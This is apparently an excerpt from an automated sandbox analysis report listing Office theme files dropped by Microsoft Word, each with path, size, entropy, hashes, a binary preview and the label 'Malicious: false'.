SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457475[[fn=Frame]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	523048
Entropy (8bit):	7.715248170753013
Encrypted:	false
SSDEEP:	6144:WfmDdN6Zfv8q5rnM6vZ02PtMZRkfW5ipbnMHxVcsOWrCMxy0sD/mcKb4rYEY:xDdQXBrMi2YtggW5ObnMH1brJpUmBU0N
MD5:	C276F590BB846309A5E30ADC35C502AD
SHA1:	CA6D9D6902475F0BE500B12B7204DD1864E7DD02
SHA-256:	782996D93DEBD2AF9B91E7F529767A8CE84ACCC36CD62F24EBB5117228B98F58
SHA-512:	B85165C769DFE037502E125A04CFACDA7F7CC36184B8D0A54C1F9773666FFCC43A1B13373093F97B380871571788D532DEEA352E8D418E12FD7AAD6ADB75A150
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457485[[fn=Mesh]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457491[[fn=Metropolitan]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457496[[fn=Parallax]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457503[[fn=Quotable]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457510[[fn=Savon]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... ...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457515[[fn=View]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033917[[fn=Berlin]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033919[[fn=Circuit]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1463634
Entropy (8bit):	7.898382456989258
Encrypted:	false
SSDEEP:	24576:75MGNW/UpLkupMAqDJhNHK4/TuiKbdhbZM+byLH/:7ZwUpLkulkHK46iiDZHeLH/
MD5:	ACBA78931B156E4AF5C4EF9E4AB3003B
SHA1:	2A1F506749A046ECFB049F23EC43B429530EC489
SHA-256:	943E4044C40ABA93BD7EA31E8B5EBEBD7976085E8B1A89E905952FA8DAC7B878
SHA-512:	2815D912088BA049F468CA9D65B92F8951A9BE82AB194DBFACCF0E91F0202820F5BC9535966654D28F69A8B92D048808E95FEA93042D8C5DEA1DCB0D58BE5175
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033921[[fn=Damask]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033925[[fn=Droplet]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033927[[fn=Main Event]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033929[[fn=Slate]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033937[[fn=Vapor Trail]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
